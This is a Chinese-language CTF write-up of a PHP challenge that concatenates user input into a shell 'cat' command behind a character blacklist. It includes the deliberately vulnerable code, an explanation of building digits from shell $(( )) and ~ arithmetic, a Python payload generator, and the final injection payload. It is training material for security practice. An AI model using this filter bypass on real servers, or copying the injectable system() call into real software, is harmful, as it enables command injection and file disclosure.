CTFSHOW中见到的一题,过滤了数字字母及很多符号,但是没有过滤~、$、以及(、)。再结合题目直接调用了system,是在shell中cat一个文件,只有文件名可控,所以可以使用$(())在shell中来构造数字
题目:
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\/|\+|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
分析:
$(())是shell里的运算符,会将括号里的结果计算出来
$(())=0 $((1+1))=2
~x为取x的补码,~x=-x-1,~(~x)=x
注:另一个重要的点是两个正数贴在一起会变成一个两位数
构造脚本:
# -*- coding: utf-8 -*-
# @Time : 2022/1/7 13:47
# @File : Shell中无数字及运算符构造数字.py
# @Software : PyCharm
import math
N = {}
N[0] = '$(())'
N[1] = '$((~$(($((~$(())))$((~$(())))))))'
N[2] = '$((~$(($((~$(())))$((~$(())))$((~$(())))))))'
N[3] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[4] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[5] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[6] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[7] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[8] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[9] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
def number_switcher(num):
result = ''
if num == 0:
return N[0]
if num == -1:
return '$((~$(())))'
if num > 0:
t = num
k = 0
else:
t = ~num
k = 1
n = {}
len = 0
while t:
n[len] = t % 10
t = math.floor(t/10)
len += 1
for i in range(0, len):
result += N[n[len-i-1]]
if k:
result = '$((~' + result + '))'
else:
result = '$((' + result + '))'
return result
print(number_switcher(36))
payload:
?c=$(($((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))